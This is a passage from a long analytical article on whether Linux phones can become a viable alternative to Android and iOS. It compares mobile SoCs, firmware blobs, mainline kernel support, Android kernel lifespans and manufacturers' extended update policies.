Fortunately, all of these conditions are changing, and I believe that there is now the possibility that Linux could finally become a viable alternative to Google’s Android and Apple’s iOS in the mobile space, just like desktop Linux has become a viable alternative to Windows and Mac OSX on the PC over the last three decades. This isn’t to say that mobile Linux will fundamentally challenge the business of Google or Apple, but the conditions are ripe for a small market to arise for Linux phones, similar to the way that people can currently buy Linux PCs from a number of small companies, such as TUXEDO , System76 , Purism , Slimbook , ThinkPenguin , Ubuntushop.biz , Entroware , Star Labs , Juno , Laptop with Linux , Linux Certified , ArkPC , etc.

It isn’t impossible that one of the big phone brands might sell a few models of phones with mobile Linux in the future, just like Lenovo and Dell currently sell a few PC models with Linux preinstalled in some limited markets. Motorola just announced that it will start selling some high-end phone models with GrapheneOS in 2027, which indicates that Google will allow the big phone makers to sell alternatives, probably because it fears anti-trust regulation. As the mobile industry increasingly shuts down the ability to unlock the bootloaders of Android phones, more people will be looking for an alternative to AOSP derivatives, and mobile Linux could provide that alternative.

Five years ago, it looked like mobile Linux had finally arrived. The Purism Librem 5 and PINE64 PinePhone had just been released, and even a big tech reviewer like Linus Tech Tips was trying them out . Mrwhosetheboss’s video, “ Are Linux Smartphones about to KILL Android? ,” where he held up the Librem 5, got 7.8 million views on YouTube. The Librem 5 had been ported to Mobian and postmarketOS , and the PinePhone had been ported to 20 different Linux distributions. There was a growing number of phone models that could run Jolla’s Sailfish OS and Ubuntu Touch on top of Android kernels, and many people were testing postmarketOS on their old phones . Plasma Mobile and Phosh were advancing fast as mobile interfaces. KDE had adopted Kirigami and GNOME was adopting Adwaita , so both KDE and GNOME apps could become adaptive between desktop and mobile interfaces. The Waydroid project was making it possible to run Android apps inside a Linux container. The future seemed bright for mobile Linux, but that future never seemed to arrive. It is worth examining what held back mobile Linux to understand how those conditions can be overcome in the future.

There has been great deal of experimentation with different mobile operating systems based on a Linux kernel over the last 25 years since the first mobile Linux devices were released—the Sharp Zaurus , the G.Mate Yopy and the Motorola A760 . I count 29 different varieties of commercial mobile Linux that have existed over the years, and there are probably many more that I missed. There have been many different waves of mobile Linux, which at the time looked like they might become the next big thing, including EZX , MotoMagx , Maemo , LiMo , Moblin , Meego , Tizen , Firefox OS , webOS , Ubuntu Touch and Sailfish OS . For years Motorola experimented with different Linux varieties that were based on the idea of using Java apps available in a community store, so Google’s Android was hardly unique, but it was the flavor of mobile Linux which succeeded. Today, all of them are often lumped together under the label of “Linux” as a separate category from Android, but Tizen and Firefox OS are just as distinct architecturally as Android from a standard desktop Linux distro.

The mobile Linux operating systems live on, although they are less visible today. Much of the MeeGo code that Nokia created for the N9, continues to be developed by the tiny Finnish company, the Jolla Group , which is once again selling phones with its Sailfish OS. Firefox OS, which was abandoned by Mozilla Foundation in 2016, was reborn in 2017 as proprietary KaiOS for low-end phones without touch screens, but that market is slowly disappearing as Android now reaches even the cheapest segments of the mobile phone market. Ubuntu Touch, which was abandoned by Canonical in 2017, lives on as a community-based project under the volunteers at UBports . Even, webOS and Tizen still exist, although they are no longer used as mobile operating systems. webOS runs LG TVs and Tizen is used in Samsung TVs.

Although it doesn’t generate many headlines in the tech press, a tiny Linux phone market still exists. Purism , PINE64 , FuriLabs , Jolla , Jolla-Devices , Volla and PrivacyPortal (plus Brax in the future ) all sell phones with some flavor of Linux preinstalled. The number of people buying Linux phones today is fewer than in 2020-22 when PINE64 was launching the PinePhone and PinePhone Pro, but there are actually more companies selling Linux phones than there was 5 years ago. There are good reasons to believe that many of the problems that plagued Linux phones in the past are going to be overcome in the future.

The SoC dilemma: weak but long lived vs powerful but short lived

In the past, the available hardware choices limited the viability of Linux phones. Systems-on-a-Chip (SoC’s) which support Linux are generally used in single-board-computers (SBC’s), TV setup boxes, internet of things (IoT) devices and embedded microprocessors in industrial and automotive applications, where the price points are lower, so their performance is generally weaker and they are less energy efficient than the typical mobile SoC designed for smartphones, because they are fabbed on older process nodes. However, they offer long-term support, because they are used in applications that have long product life cycles. For example, automobiles contain dozens of SoC’s and they typically takes 3 to 5 years just to design and need to be able to run for the next 20 years. In contrast, the mobile SoC’s with Android support are very powerful, but they are only produced for 1 to 3 years.

If the designers of Linux phones want to be able to run a Linux kernel (as opposed to an Android kernel), most of their options offer little processing power, poor energy efficiency and poor thermals. If they want to avoid proprietary blobs as much as possible, they either have to choose an older SoC which the community has been worked on for years to iron out the bugs in the free/open source drivers (e.g., the Allwinner A64 in the PinePhone), or they have to spend years patching the Linux kernel to properly support a newer SoC (as Purism did with the NXP i.MX 8M Quad in the Librem 5). If they decide that it is too much trouble to send their patches to mainline Linux, then it will be harder to support their hardware in the future, because they will have to keep applying those same patches to each new Linux kernel release. Purism chose to upstream their changes to mainline Linux, whereas the volunteers working on the PinePhone’s kernel generally didn’t.

The chipmakers like NXP, Rockchip, Allwinner, Amlogic and Broadcom who make SoC’s with Linux support simply don’t generate enough revenue to justify using a leading-edge process node in their chips. Even thought they can sell a Linux SoC for 10 to 15 years, they still won’t sell enough to recoup the extra $400 – $600 million that it would cost to use a 3nm process, and the costs keep going up with each new generation of process node. It is enormously expensive to design a chip at the cutting edge of the silicon industry. Silicon Analysts estimates that fabbing a wafer at TSMC costs an average of $19,500 at a 3nm node, but only $3000 at a 28nm node. Most Linux SoC’s are low-priced chips with very thin margins, so they have to sell millions of them to make much profit. Some Linux SoC makers like NXP focus on specialty markets, so they they have higher margins, but they tend not to sell many of them, so the profits are still limited.

Another way that chipmakers reduce their costs is by using older generations of Cortex cores, which have lower licensing fees from ARM, and by using lots of low-power Cortex-A5 series cores, rather than the higher-power Cortex-A7 and Cortex-X series cores, which have higher licensing fees. NXP was clearly employing these cost cutting strategies with its i.MX 9 series processors. The most powerful chip in the series is the i.MX 95, which contains six Cortex-A55 cores, when it would have made more sense to use two Cortex-A78 cores for better performance and four Cortex-A55 cores for low power. The i.MX 95 was fabbed on a 16nm FinFET node, which is a slight regression compared to Samsung’s 14nm node used in the previous i.MX 8M Plus processor. Another example of this cost cutting was the decision by Broadcom to use older Cortex cores and larger process nodes in its BCM2836 (40nm, 4x Cortex-A7), BCM2837 (40nm, 4x Cortex-A53), BCM2711 (28nm, 4x Cortex-A72) and BCM2712 (16nm, 4x Cortex-A76), despite knowing that millions of these chips would be sold (e.g. in the Raspberry Pi 2, 3, 4 and 5, respectively). Even Nvidia, which is the world’s richest chipmaker due to the AI boom, appears to be avoiding the costs of using a leading-edge process node in its Tegra SoC. It canceled its planned Tegra Atlan series which was announced in April 2021, and still hasn’t released its Tegra Thor series, which was announced in September 2022. Its Tegra Orin series which was announced in March 2018 is now getting long in the tooth using an 8nm node.

In contrast, the smartphone market, which sold 1.25 billion units in 2025 , has enormous volumes, and phone makers are willing to pay much higher prices for processors, especially for higher-end models, which allows Qualcomm, MediaTek, Apple, Samsung, Google, Xiaomi and Huawei to make the enormous investment in designing mobile SoC’s for an expensive 3nm process node. Integrated mobile SoC’s such as the Qualcomm Snapdragon and MediaTek Dimensity have so much volume, that they can make a profit despite the fact that they generally are only produced for 2 to 3 years. The flagship models (e.g. the Snapdragon 8 series and Dimensity 9000 series) lose most of their market after the first year, so SoC makers have to charge much higher prices to cover the enormous costs of using a leading-edge process node.

In addition, the integrated mobile SoC’s that run Android incorporate many additional functions, such as WiFi, Bluetooth, cellular modem, GPS/GNSS, audio DAC, charge controller and USB-C controller, which require separate chips on Linux phones like the PinePhone and Librem 5. This makes the circuit boards for these phones much more expensive to design, because they can’t just take a standard reference design from Qualcomm or MediaTek and tweak it. They have to custom design their circuit boards, which requires two to three times more components than the circuit board for a typical smartphone. The Librem 5 contains 74 integrated circuits (IC’s) and its 4 circuit boards have a total of 1267 components , making it the most complex phone ever created. The six chips ( i.MX 8M Quad , RS9116 , BM818 , Teseo-LIV3F , WM8962 and bq25895 ) that the Librem 5 uses in place of an integrated mobile SoC occupy a total of 1483.2 mm2, which is 10 times the area of a Snapdragon 8. Purism had to use components as small as 0201 and use 10 layers to cram everything into the Librem 5’s main circuit board, which had to go through roughly a dozen iterations to get right. Even a minimal Linux phone like the PinePhone, which was designed to be as economical as possible, has 24 ICs and a total of 627 components on its circuit board, making it more complex than most Android smartphones, which typically have 300 to 400 components.

Adding all these extra components makes Linux phones more expensive to design and produce, but it also makes them suck more power, since it takes more energy to run half a dozen chips at larger node sizes than one integrated mobile SoC fabbed on a ≤4nm node, which has been optimized for energy efficiency. It is hard to coordinate all the extra chips in Linux phones to get them to enter lower power modes and sleep modes to conserve their batteries. Add in an SoC with an older node size between 28 and 8 nm that hasn’t been optimized for battery usage, and there is no way that Linux phones can match the battery life of Android phones.

The RK3588S changes the game for Linux phones

Many of the Linux SoC makers have decided that they shouldn’t even bother building chips with the CPU and GPU performance needed for a modern computing device. NXP, Amlogic and Broadcom simply aren’t interested in building competitive SoC’s. However, Rockchip fundamentally changed the prospects for making a decent Linux phone when it released the RK3588 and its lower-power RK3588S variant in 2022. With four 2.4Ghz Cortex-A76 cores and four 1.8GHz Cortex-A55 cores and a Mali-G610 MC4 graphics, there finally was a Linux SoC on the market with enough processing power in an SoC to make an acceptable Linux smartphone.

The Liberux NEXX and the Dawndrums Divine D. are two Linux phones currently being designed with the RK3588S. Purism just announced on its forum that its next gen phone “is actively being designed,” which won’t be based on the i.MX platform like the Librem 5 and Liberty, so it is likely to be based on the RK3588S as well.

Of course, the RK3588S’s performance isn’t going to impress anyone used to an Android phone. The RK3588 and RK3588S are fabbed on a 8nm process node, which is four generations behind today’s state of the art at 2nm. Today’s low-end Snapdragon 4 Gen 4 fabbed at 4nm has 25% better single core CPU performance than the RK3588. (See the table of SoC’s below.) The RK3588S has similar performance to the RK3588 over short bursts, but its performance is 10%-15% less over periods longer than 30 seconds. By the time the Linux phones based on the RK3588S hit the market in a couple years time, they will have significantly worse performance than every Android smartphone on the market, but this difference probably won’t be a limiting factor for most people who aren’t 3D gaming or shooting high-resolution video. At a certain point, more processing power has diminishing utility, and the RK3588S crosses that threshold for most people.

Comparing available SoC’s for Linux phones
SoC Process (nm) Specs Geekbench_6 Phones
single multi
Allwinner A64 40 4x 1.2GHz Cortex-A53, Mali-400 MP2 109 278 PinePhone
NXP i.MX 8M Quad 28 4x 1.5Ghz Cortex-A53, GC7000 Lite 146 477 Librem 5, Liberty
NXP i.MX 8M Plus 14 4x 1.8Ghz Cortex-A53, GC7000 UltraLite

planned Librem 5 fir
NXP i.MX 95 16 6x 2.0GHz Cortex-A55, Mali-G310 350 1300
Rockchip RK3399 28 2x 1.8GHz Cortex-A72, 4x 1.4GHz Cortex-A53, Mali-T860 278 708 PinePhone Pro
Rockchip RK3566 22 4x 2.0GHz Cortex-A55, Mali-G52 MP2 140 450 rumored PinePhone 2
Rockchip RK3588S 8 4x 2.4GHz Cortex-A76, 4x 1.8GHz Cortex-A55, Mali-G610 MP4 730 2250 Liberux NEXX, Dawndrums Divine D., likely Librem 5 v2
UNISOC Tiger T606 12 2x 1.6Ghz Cortex-A75, 6x 1.6Ghz Cortex-A55, Mali-G57 MP1 375 1350 Jolla C2
MediaTek Dimensity 900 6 2x 2.4GHz Cortex-A78, 6x 2.0GHz Cortex-A55, Mali-G68 MP4 1003 2423 Furilabs FLX1/s/s+
MediaTek Dimensity 6300 6 2x 2.4GHz Cortex-A76, 6x 2.0GHz Cortex-A55, Mali-G57 MC2 780 1940 Brax BraX3
MediaTek Dimensity 7050 6 2x 2.6GHz Cortex-A78, 6x 2.0GHz Cortex-A55, Mali-G68 MC4 970 2330 Volla Phone Quintus
MediaTek Dimensity 7100 4 4x 2.4GHz Cortex-A78, 4x 2.0GHz Cortex-A55, Mali-G610 MC2 995 2900 Jolla Phone (2026)
MediaTek Dimensity 7300 4 4x 2.5GHz Cortex-A78, 4x 2.0GHz Cortex-A55, Mali-G615 MC2 1040 3000 Volla Phone Plinius
Qualcomm QCM4490 4 2x 2.4GHz Cortex-A78, 6x 2.0GHz Cortex-A55, Adreno 613 900 2318
Qualcomm QCM6490 6 4x 2.7GHz Cortex-A78, 4x 1.95GHz Cortex-A55, Adreno 643L 950 2850 Fairphone 5, SHIFTphone 8
Qualcomm QCM8850 4 1x 3.2GHz Gold-Plus, 4x 2.8Ghz Gold, 3x 2.0GHz Silver, Adreno 740 1100 3300
Qualcomm Snapdragon 4 gen 4 4 2x 2.3GHz Cortex-A78, 6x 2.0GHz Cortex-A55, Adreno 613 920 2210
Qualcomm Snapdragon 6 gen 4 4 1x 2.3GHz Cortex-A720, 3x 2.2GHz Cortex-A720, 4x 1.8GHz Cortex-A520, Adreno 810 994 3082
Qualcomm Snapdragon 7 gen 4 4 1x 2.8GHz Cortex-A720, 4x 2.4GHz Cortex-A720, 3×1.84GHz Cortex-A520, Adreno 722 1150 3700
Qualcomm Snapdragon 8 gen 5 Elite 3 2x 3.8GHz Oryon Prime, 6x 3.32GHz Oryon Performance, Adreno 829 or 840 2400 8700

Where the older process tech will be significant is in terms of their energy consumption. A phone sporting the RK3588S will run hotter and have worse battery life than phones using integrated mobile SoC’s from Qualcomm, MediaTek, UNISOC, etc. The challenge is to dissipate the extra heat. The PinePhone’s SoC and cellular modem get very hot because they do not have a good heat spreader. The Librem 5’s SoC is joined with thermal paste to the back plate of the LCD, which avoids overheating the SoC, but causes the touchscreen and aluminum frame to become hot to the touch. A Linux phone with the RK3358S will need some kind of heat dissipation, but it is unlikely that a Linux phone maker can afford to include a vapor chamber, since those have to be specially designed and would be very expensive for a phone of limited production. The RK3588S will need throttling to fit within the power and thermal envelope of a phone.

At first, the mainline Linux support for the RK3588 was very limited. Rockchip never published the documentation for the chip on its opensource.rock-chips.com site, and Rockchip took down that site at the end of 2025. On December 21, 2024, Jeff Geerling, the most influential reviewer in the Raspberry Pi alternative space, reported on X :

I was told Rockchip no longer considers RK3588 to be an ‘open source’ chip. In practice, that means Rockchip no longer contributes RK3588 code to open-source projects and they also decided not to sell RK3588 directly to SBC vendors.

On the other hand, Rockchip is still updating its public kernel code for the RK3588 at Github . Collabora has been toiling away for years to add mainline Linux support for the RK3588, and Collabora lists Rockchip as one of its partners, so Rockchip hasn’t totally abandoned the Linux community. Collabora recently added mainline Linux support for the video capture unit and MIPI CSI2 interface in the RK3588. Now Collabora is working with Ideas on Board and Rockchip to create an new image signal processor (ISP) driver for all the RK35 xx chips. Collabora has gotten the hardware video decoder working for VP8, VP9, H.264 and H.265, and is now working on the hardware video encoder for H.264 .

Four years after the RK3588S was released, there is now enough support for the chip in mainline Linux, that an RK3588S phone can be created running free/open source drivers. The RK3588S needs to execute a proprietary Synopsys DDR timing training blob at boot. The RK3588S can now use the free Panthor driver for the GPU, but it requires the proprietary mali_csffw.bin firmware, which is loaded from the /lib/firmware/ directory at boot. All the other blobs for the RK3588S have either been replaced or they aren’t necessary. There is now a FOSS driver for the NPU . The proprietary MPP library for hardware video encoding can be replaced with software video encoding, and Collabora is working on free drivers for the ISP and hardware video encode, so software video processing and encoding probably won’t be necessary in the future. Collabora has developed a FOSS version for the Trusted Firmware-A (TF-A), that can replace the proprietary bl31.elf firmware. The HDMI blob in the bl31.elf isn’t necessary if using DisplayPort Alt Mode for video out. The proprietary bl32.bin firmware is not necessary if not using the hardware-enforced security features or encryption keys.

If Purism uses the RK3588S in its next phone, it is unlikely that Purism will attempt to obtain the FSF’s RYF certification by storing blobs on a separate NOR Flash chip and executing them with a secondary processor, like it did with the Librem 5, because the RK3588S doesn’t have a secondary low-power processor like the Cortex-M4 in the i.MX 8M Quad.

There are good prospects that Collabora will eventually get all the RK3588S’s hardware supported with mainline Linux drivers, and until then, the RK3588S has enough processing power in the GPU and CPU to process and encode images and video in software, so a phone built on the RK3588S can take photos and shoot video like a normal smartphone, although it will be slower and use more energy. In contrast, previous phones using a Linux kernel simply didn’t have enough processing power to offer decent cameras. Taking photos on the PinePhone is painfully slow, and the Millipixels app on the Librem 5 pauses for 3 to 4 seconds after taking each photo. Because the Librem 5’s i.MX 8M Quad processor lacks an ISP, audio DSP and hardware video encoder, it takes roughly 10 times as long to process and encode a 720p video on the Librem 5 as the length of the video, and it’s about 50 times longer on the PinePhone, due to its antiquated Allwinner A64 processor and significantly slower RAM and eMMC.

Aside from the RK3588S, there aren’t many other options on the market to make a good Linux phone. The closest option is Nvidia’s Tegra Orin NX or Orin Nano Super , which only contain Cortex-A78 cores. They lack low-power Cortex-A55 cores and they aren’t very energy efficient. They sport newer tech than the Cortex-A76 cores in the RK3588S, but the Tegra Orin was fabbed on a 8nm node just like the RK3588S and the Tegra Orin’s lower clock rate limits its single-core performance. The Tegra Orin is also much worse in terms of software freedom, requiring proprietary blobs in the initial bootloader, the secondary bootloader, Boot Configuration Table, USB firmware, HDMI/DisplayPort configuration, ARM Trusted Firmware and the GPU userspace driver. Many Linux users can ignore the blobs in the Linux device tree, but it harder to ignore Nvidia’s GPU blob in the userspace.

Another option is the Allwinner A733 at 12nm, which offers less performance with dual 2.0Ghz Cortex-A76 cores and six 1.79GHz Cortex-A55 low-power cores. Allwinner stopped collaborating with the Linux community years ago, and has frequently violated the GPL 2.0 license by not publishing its Linux source code, so the A733 probably won’t be a viable option, although Allwinner has made some comments about intending to collaborate with the community in the future. Another option is the NXP i.MX 95, which does have mainline Linux support, but its performance on a 16nm node with six low-power Cortex-A55 cores is poor and not a good value for the money.

The PinePhone 2 was expected to use the more economical Rockchip RK3566 , which is fabbed on an older 22nm node. However, so many volunteer developers abandoned PINE64 in 2022 , that it is unlikely that the Hong Kong-based company will be launching any new models in the foreseeable future. The production of PINE64’s Linux devices are currently on hold due to the high RAM and eMMC prices caused by the AI boom, but part of the reason is that PINE64 can’t raise prices on many of its devices, which are only half-functional, because many of the community groups, who worked on the PinePhone, are no longer developing the software to support PINE64’s newer devices.

Another reason the RK3588 is the preferred option is because Rockchip is promising to provide a successor chip, the RK3668 with four Cortex-A730 cores and six Cortex-A530 cores at a 5 or 6 nm node in 2027, so it should be possible to keep upgrading the phone in the future. Purism invested heavily in supporting the 28nm i.MX 8M Quad in the Librem 5, thinking that it would be possible to upgrade to a future 14nm version of the SoC, but NXP decided to eliminate half the cores in the GPU and remove DisplayPort support in the 14nm i.MX 8M Plus , so Purism couldn’t upgrade its phone in the same processor family. Given that the cost of fabbing on smaller process nodes keeps rising, it is unlikely that any of the other chipmakers will launch a new chip to challenge the RK3588’s performance in the near future.

The new option of Linux phones using a Qualcomm IoT SoC

In the past, the only way to create a phone running on a Linux kernel was to design a complex device containing many separate chips. Historically Qualcomm didn’t bother making powerful processors for its SoC’s that supported Linux. However, there has been increasing demand for more powerful Internet of Things processors that can handle AI and lots of image processing from multiple video feeds. Unlike short-lived smartphones and tablets, IoT devices have long product lives, so they are better suited to use Linux, rather than Android which is much harder to support over time. In March 2023, Qualcomm dramatically improved the prospects for Linux phones with the announcement that its upcoming 6nm QCM6490 processor with an integrated cellular modem would support four operating systems (Android, Linux, Ubuntu and Windows IoT Enterprise).

Then, the San Diego-based company announced its new Product Longevity Program , which would both sell and provide software support for the QCM6490 until July 2036 . Both the FairPhone 5 and SHIFTphone 8 were designed around the QCM6490, due to the environmental benefits to its long support, and that long support is exactly what Linux phones also need, because it takes so long to bring a Linux phone to market and it needs to sell for many years to recoup the high investment in a product that has limited annual sales. The Fairphone 5 with the QCM6490 (1x 2.7Ghz Cortex-A78, 3x 2.4GHz Cortex-A78, 4x 1.9Ghz Cortex-A55) was criticized for its poor benchmarks and poor battery life compared to other Android phones. However, the QCM6490 offers significantly better CPU and GPU performance and better energy efficiency than the RK3588S.

The subsequent QCM4490 and QCM8850 , which are fabbed on a newer 4nm node, offer lower and higher power options than the QCM6490. The QCM4490 (2x 2.4GHz Cortex-A78, 6x 2.0GHz Cortex-A55) has almost as good single-core performance as the QCM6490 and is more energy efficient, but its support ends in April 2030, which is too short for a Linux phone. The QCM8850 probably could be downclocked to fit within the power envelope of a Linux phone, but its support ends in April 2033, so the longer-lived QCM6490 is probably the better option for a Linux phone.

The benefit of using one of these IoT processors, which Qualcomm has rebranded as “ Dragonwing “, is that they make it significantly easier to design a phone and bring it to market, since they incorporate so much functionality in one chip, which reduces the complexity of the phone’s circuit board. Qualcomm provides reference designs that can be customized, so designing a Linux phone with a Dragonwing processor should be much easier and require fewer circuit board iterations and less testing.

A company with limited resources could contract with SHIFT or Fairphone to produce their phones and then install Linux, similar to the way that both Murena and iodé sell Fairphones and SHIFTphones and install their AOSP variants focused on privacy on the phones. Not only would this avoid the time and cost of designing the hardware, but it would allow the Linux phone to be marketed for its environmental and ethical benefits. Fairphone or SHIFT could also be contracted to provide the warranty service for the phone.

Qualcomm provides free/open source drivers for its Snapdragon and Dragonwing processors, and over time many of these processors will be partially supported in mainline Linux. However, the Qualcomm drivers depend on many proprietary blobs. The Adreno A660 GPU uses a blob to accelerate the 3D graphics. The audio digital signal processor (aDSP) uses a blob to handle audio decoding and processing. A compute blob is used by the DSP and NPU for tasks like machine learning. The VPU needs a blob to do the hardware video decoding and encoding. The Inline Packet Accelerator (IPA) uses a blob to speed up its network routing. These blobs allow the SoC to run cooler and be more energy efficient, but tasks like audio processing, video encoding/decoding and compute can be handled in software by the CPU and/or GPU in order to avoid using these blobs.

While these blobs are optional, the blobs to operate the WiFi, Bluetooth and cellular modem would not be optional on a phone which needs those functions. None of those blobs are required in the userspace, but the only way to avoid them is to use separate WiFi/Bluetooth and cellular modem chips. Adding those chips to the phone’s circuit board would add significant extra cost and complexity and make the phone less energy efficient.

On the other hand, adding those extra chips would also make it possible to use a hardware kill switch to shut down the phone’s wireless communications, which would be a major selling point for the phone. However, the type of customer who wants to be able to cut the power to the WiFi/Bluetooth and cellular modem will also probably be worried about the three blobs needed to boot the Qualcomm QCM chips, especially the one which runs the hypervisor and the TrustZone that handles encryption. Although the RK3566, RK3588 and i.MX 95 also require a blob to boot, it is a tiny file from Synopsys DesignWare that simply trains the DDR RAM’s memory timing, whereas the Qualcomm blobs to boot the QCM4490, QCM6490 and QCM8850 are much more extensive.

The problem of using an Android kernel in a Linux phone

What made the wave of mobile Linux from 2020 – 2022 with the release of the Librem 5, PinePhone and PinePhone Pro so exciting was that these were phones that ran on a Linux kernel. In contrast, most other Linux phones run their Linux stack on top of libhybris , which loads Android libraries and drivers and translates calls to libc and musl, so they can work with Android’s Bionic. The advantage of using an Android kernel is that it allows Linux phones to use a modern integrated mobile SoC like a Qualcomm Snapdragon or MediaTek Dimensity with good performance and energy efficiency, so Linux phones can compete with Android phones.

The problem is that a Linux phone that runs on an Android kernel will significantly shorten the lifespan of the phone. Historically Google only supported each Android kernel for 4 years with security updates, and it was necessary to do at least one Android upgrade to get those 4 years of support, since Google usually only supports each Android release for 3.5 years.

It is a security risk to use an Android phone that is no longer getting security updates, because there is so much Android malware in the world, including in Google’s official Play Store . A lot of hackers are focused on attacking Android, because it is so widely used on devices that carry valuable personal information. AV-TEST counts 37.62 million distinct pieces of Android malware and 30.38 million potentially unwanted applications (PUA’s) that do things that users may not want such as collecting their personal data. In contrast, AV-TEST counts 5.29 million pieces of malware and 58,128 PUA’s in Linux, and most of it is rarely installed, because most Linux users only install software from the repository of their distro, where free/open source software (FOSS) predominates and package maintainers would suffer reputational damage for including malware.

Companies like Qualcomm and MediaTek typically only sell their SoC’s for smartphones for 2 to 3 years, and most of the demand for the high-end Snapdragon and Dimensity models dries up after the first year, so historically they only provided Android updates for 1-3 years and security updates for 2 to 4 years. They usually didn’t bother upgrading the kernel and the drivers and the proprietary blobs that they provided were designed to function with a particular kernel and couldn’t be upgraded. Historically Google only supported three years of kernels in each Android version, so that limited most phones to being used with a maximum of three Android versions.

In contrast to the 2-4 years of software support for Android phones, Purism advertised that the Librem 5 would get “ lifetime updates that actually extend your phone’s life .” Likewise, PINE64 promised that it would sell the PinePhone and its replacement parts for “ at least 5 years .” These two Linux phones can be supported for far longer than any Android device on the market. They use free/open source drivers and Linux kernels that can keep being upgraded, because they doesn’t rely on proprietary blobs that are only compatible with a particular kernel version. While they do contain proprietary firmware, they are not dependent on the SoC manufacturer to provide new blobs that allow the use of recent versions of the kernel.

The problem with the short lifespan of Android kernels is that Linux phones typically take longer to develop and bring to market, and then they are sold for more years than most Android phones. Given all the challenges with using Linux SoC’s, it isn’t surprising that FuriLabs decided to use a conventional smartphone design sporting a MediaTek Dimensity 900 processor for its FLX1 phone , which started shipping in July 2024. The phone’s operating system, FuriOS , is based on the Droidian project, which runs a mobile Debian stack with Wayland + wlroots + GTK + GNOME libraries + Phosh on top of an Android kernel using libhybris. Unlike the Librem 5 and the PinePhone, the FLX1 has the processing power to handle all the tasks that people expect of a modern smartphone.

The problem is that the Dimensity 900 was released in May 2021 with Android 11 using the android11-5.4 kernel. Google stopped supporting this kernel on January 1, 2026 , and Linux stopped providing updates for the 5.4 kernel on December 3, 2025 . MediaTek doesn’t release major-version kernel upgrades for its processors (although that may change in the future), and the drivers that MediaTek provides for the Dimensity 900 contains proprietary blobs that can’t be upgraded to support newer kernels, so the FLX1, and its successors, the FLX1s and FLX1s+, are stuck with an outdated kernel for Android 11 that isn’t getting security patches and bug fixes. Since these phones use Andromeda , which is a custom fork of Waydroid, to run Android apps inside FuriOS, they are potentially exposed to a lot of Android malware. Waydroid has weakened the app sandbox and SELinux security in standard Android, and it is based on outdated AOSP 13, which stopped getting security updates in March 2026. Given the security implications, it is questionable whether FuriLabs should still be selling the FLX1s+ using an unsupported kernel.

The Jolla C2 Community Phone , which currently sells for €369, shares similar security concerns. The C2, which started shipping in September 2024, is based on the UNISOC Tiger T606 processor, which was announced in September 2021. The C2 is running a custom kernel named “5.4.233-android12-9-g9c3a5d5b97e3.” Presumably, the Finnish company took Linux 5.4.233, which was released on 25 Feb 2023, and added Google’s Android 12 kernel modifications, so it is essentially using the same unsupported kernel as the FLX1/s/s+, which hasn’t received any security updates from Google since January 1, 2026. Jolla hasn’t even bothered to update the kernel to 5.4.302, which was the last maintenance release from Linux for the 5.4 kernel on December 3, 2025. Jolla has not released the source code for the C2’s kernel, so that Jolla’s so-called “Community Phone” can’t be upgraded by the community. Even if the community could upgrade the kernel to its last maintenance release, if is important to keep in mind that Linux 5.4.302 had 1539 unfixed CVE’s (Common Vulnerabilities and Exposures) when released, and new critical CVE’s for Linux are found on average every 2.5 days .

Like the FuriLabs FLX1/s/s+, the Jolla C2 also can run Android apps, which may contain malware, but it uses Jolla’s proprietary AppSupport (aka AlienDalvik), which runs AOSP inside an LXC container like Waydroid. With AppSupport, the Android apps have better integration into the host operating system than Waydroid. Presumably Jolla is running a more recent version of AOSP than Waydroid, since Jolla licenses the use of AppSupport to other companies, so it probably is applying Google’s security updates for AOSP, but not for the supported kernel on the C2 phone.

All the Linux phones running Android kernels, such as the Volla phones with Ubuntu Touch and the new Jolla Phone (2026) running Sailfish OS, will face this same problem that their lifespans are cut short by their Android kernels that can only get a major version upgrade from the SoC manufacturer due to their proprietary blobs only being compatible with one major version of the kernel. Unfortunately, all these phones are using MediaTek processors, which either have little or no mainline Linux support, so their lifespan can’t be extended by switching to a mainline Linux kernel.

Linux phones based on Android will become more viable due to longer support

Nonetheless, the planned obsolescence of the Android phone market has started to change. Google wanted its Android operating system to better compete with Apple’s iOS. Apple promises at least 5 years of support for its phones and typically provides over 6 years. Unlike the other Android phone makers, Google’s business model doesn’t depend on planned obsolescence. The more people that Google can convince to use its operating system, the more data Google can collect for its targeted advertising, so extending the life of Android phones is a way to attract more users to its platform.

In addition, the COVID-19 pandemic caused people to buy fewer new phones, and then the subsequent supply chain crunch caused phone prices to rise due to the more expensive components. The global average selling price of Apple’s iPhone increased from $724 to $903 between 2020 and 2024. Global smartphone sales collapsed in 2020 and have never recovered to their pre-pandemic levels. In order to convince people to open their wallets for more expensive phones, consumers needed to be convinced that they would last longer.

In August 2020, Samsung announced that its S, Note and Z series phones starting with the S10 would all get three years of OS updates and security updates, just like Google had been providing for its Pixels, since the brand was first launched in 2016. At the time when Samsung made this policy change, the smartphone industry had just experienced the worst decline in its history, with unit sales dropping 23% YoY in the second quarter of 2020. In October 2021, Google announced that it would significantly extended the lifespan of its Pixel devices, promising 3 years of OS updates and 5 years of security updates, beginning with the Pixel 6. Samsung couldn’t allow its Galaxy devices to usurped as the best Android brand. In February 2022, Samsung announced that it would surpass Google with a promise of four years of OS updates and 5 years of security patches for its flagship models, starting with the Galaxy S21, Z3 and Tab8.

This set off a competition between the two firms to see which one could provide the longest software support for its mobile devices. Google decided to leapfrog Samsung again and set a new standard that would best Apple’s support policy. In October 2023, Google pledged that the Pixel 8 series would get 7 years of OS updates and security updates, plus “Pixel Feature Drops” and “AI technology from Google”. Google’s announcement that it would support the Pixel 8 into 2030 sent shock waves through the mobile industry. Samsung was determined to not be outdone by Google, and announced in January 2024 that its new Galaxy S24 and S24 Ultra would also get 7 years of OS updates and security updates. In 2025, Samsung extended the software support to six years for all its new Galaxy models, including its low-end Galaxy A06 4G, which costs around $125 .

In October 2024 during its Snapdragon Summit, Qualcomm commented that it would be offering 8 years of OS upgrades and security updates for its high-end mobile processors, and in February 2025, it formally announced that its new 7, 8 and 8 Elite processors released that year would all get this unprecedented level of support. Just as important, Qualcomm promised that its high-end Snapdragon processors would also get two kernel upgrades, so they would be using kernels that are officially supported by new Android releases. MediaTek couldn’t let Qualcomm corner the high-end mobile processor market for the next generation of flagship phones. On May 27, 2025, MediaTek posted that its Dimensity 8400 and 9400 chips would also get 8 years of support.

